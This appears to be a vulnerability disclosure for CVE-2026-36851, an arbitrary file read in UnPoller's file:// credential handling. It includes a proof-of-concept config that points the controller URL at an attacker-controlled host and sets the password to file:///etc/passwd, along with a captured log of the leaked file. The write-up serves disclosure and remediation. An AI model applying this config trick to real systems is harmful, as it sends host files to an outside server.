CVE-2026-36851

Path traversal / arbitrary file read in UnPoller v2.33.0 via the file:// password prefix. File contents are read from disk and transmitted to the configured UniFi controller URL during authentication.

Summary

UnPoller supports loading credentials from a file when the config value starts with file://. That behavior is documented for Docker deployments where operators want passwords outside plain-text config files. The implementation does not restrict which path may be read — any file the process can access is valid input. Those contents are then sent over the network in a JSON POST to /api/login on whatever controller url is set to in the same configuration file.

That combination turns a local file-read primitive into a network exfiltration channel: an attacker with write access to up.conf can point url at a server they control and repeatedly leak sensitive files without direct read permission on those files.

Background

I run UnPoller in my homelab — Docker on a Proxmox LXC — to export UniFi metrics into Grafana alongside the rest of my stack. I was reviewing open-source projects for common web vulnerabilities. UnPoller has minimal user-facing web surface, so XSS was a dead end. The example configuration is where the finding started:

pass = "file:///path/to/password.file"

The intent is reasonable: reference a secrets file instead of embedding the password in up.conf. The question I had was whether UnPoller validates that path — or treats any file:// value as a literal filesystem pointer.

Tracing the source in pkg/inputunifi/input.go (and similar handling in influxunifi, lokiunifi) shows there is no whitelist. When pass or api_key starts with file://, the prefix is stripped and os.ReadFile() loads the full file contents into the credential field used for UniFi authentication.

Impact

Confidentiality: Arbitrary readable files on the UnPoller host can be exfiltrated — e.g. /etc/passwd, /proc/version, /etc/hosts, application configs, and potentially key material depending on process permissions.

Attack prerequisites: Write access to UnPoller configuration (typically up.conf). No UniFi credentials required to trigger the read once config is modified.

Why this matters beyond local admin access: In shared hosting, misconfigured Kubernetes, or compromised sidecar scenarios, a low-privileged actor may be able to modify service config without being able to read sensitive files directly. This behavior bridges that gap by having UnPoller read the file and transmit it outbound.

Not in scope: Remote code execution, integrity, or availability — this is an information disclosure issue with a clear exfiltration path.

Proof of Concept

Tested against ghcr.io/unpoller/unpoller:latest (v2.33.0) on a Debian-based Proxmox LXC with Docker Compose.

What did not work

Setting UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" via environment variable did not trigger the behavior in my deployment. The mounted config file was the effective source of truth.

What worked

I edited up.conf to point UnPoller at a capture server I controlled instead of my production UniFi controller:

[unifi.defaults]
  url = "https://x.x.x.x:8443"
  user = "admin"
  pass = "file:///etc/passwd"

After docker restart unpoller, the container began connecting to my listener on port 8443 every ~30 seconds.

Capturing the exfiltration

My first capture server logged HTTP headers and looked for Authorization: Basic ... credentials. UnPoller sent POST /api/login requests with no Authorization header — UniFi's API expects JSON in the body:

{"username": "admin", "password": "..."}

I updated the listener to read Content-Length, parse the POST body, and log the JSON. Within a minute, /etc/passwd appeared in the password field:

Log excerpt:

🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'

The same configuration pattern worked for /proc/version (kernel/build fingerprinting):

Example malicious config: poc/up.conf.example

Disclosure Timeline

The UnPoller maintainer acknowledged the file:// behavior as an intentional convenience for Docker users and questioned exploitability without privilege separation between the config editor and the process user. MITRE assigned a CVE identifier regardless.

Remediation

For operators

• Treat up.conf and config mounts as sensitive; restrict write access.
• Ensure UnPoller can only reach trusted UniFi controller endpoints.
• Prefer Docker secrets, Kubernetes secrets, or environment-based credential injection over arbitrary file:// paths until a fix is available.

For developers

• Remove unrestricted file:// handling from credential fields, or enforce a strict path whitelist (e.g. only under /etc/unpoller/secrets/).
• Fail closed when a configured secrets file cannot be read — do not silently substitute an empty password.
• Document the threat model if file-based credentials remain supported.

References

• CVE-2026-36851
• UnPoller
• CWE-22 · CWE-20

License

MIT — see LICENSE. Proof-of-concept materials in this repository are provided for authorized security research and education only. Do not use against systems you do not own or lack explicit permission to test.

Hector Diaz · LinkedIn · hectordiaz.net